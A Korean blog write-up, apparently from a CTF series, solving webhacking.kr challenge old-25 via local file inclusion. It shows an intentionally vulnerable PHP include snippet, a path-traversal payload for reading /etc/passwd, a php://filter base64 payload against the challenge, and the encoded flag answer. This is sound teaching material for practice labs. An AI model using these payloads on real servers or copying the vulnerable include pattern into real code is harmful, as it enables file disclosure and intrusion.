[old-25] LFI 취약점
- 문제 25번에 들어가면 file 인자값으로 hello가 써져있다.
- 밑에 textarea에는 hello world가 써져있다.
- file에 flag를 쓰자 FLAG is in the code라는 글이 뜬다.
- file에 index를 쓰자 아무 것도 없는 빈 칸이 뜬다.
- file에 다른 값들을 넣으면 아무 것도 뜨지 않는다.
- file에 flag.php나 hello.php를 입력해도 아무 것도 뜨지 않는다.
- 위의 결과값으로 보아 file에 file명을 입력하면 자동으로 php가 붙어 include 되는 것 같다.
- LFI 취약점을 이용하여 file에 구문을 넣어보자
LFI(Local File Include) : include 구문을 통해 서버의 페이지를 include하는 취약점
<?phpif(isset($_GET['file'])) {include($_GET['file']);}?>
- 위 코드의 경우 LFT.php?file=../../../../../../etc/passwd 를 할 경우 passwd 파일을 볼 수 있다.
- 따라서 old-25번의 경우 include($_GET['file'].'.php'); 로 되어 있는 것 같다.
- 파일의 모든 코드를 볼 수 있도록 http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag 를 입력한다.
- php://filter/convert.base64-encode/resource=flag를 입력하면 위의 값이 뜬다
- 콘솔창에 alert(atob("PD9waHAKICBlY2hvICJGTEFHIGlzIGluIHRoZSBjb2RlIjsKICAkZmxhZyA9ICJGTEFHe3RoaXNfaXNfeW91cl9maXJzdF9mbGFnfSI7Cj8+Cg==")); 를 입력한다.
- webhacking.kr의 Auth 부분에 입력하면 old-25번 클리어
'CTF_ > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] old-33(200) 풀이 (0) | 2020.01.26 |
---|---|
[webhacking.kr] old-26(100) 풀이 (0) | 2020.01.25 |
[webhacking.kr] old-24(100) 풀이 (0) | 2020.01.16 |
[webhacking.kr] old-23(200) 풀이 (0) | 2020.01.16 |
[webhacking.kr] old-01(200) 풀이 (4) | 2020.01.11 |
댓글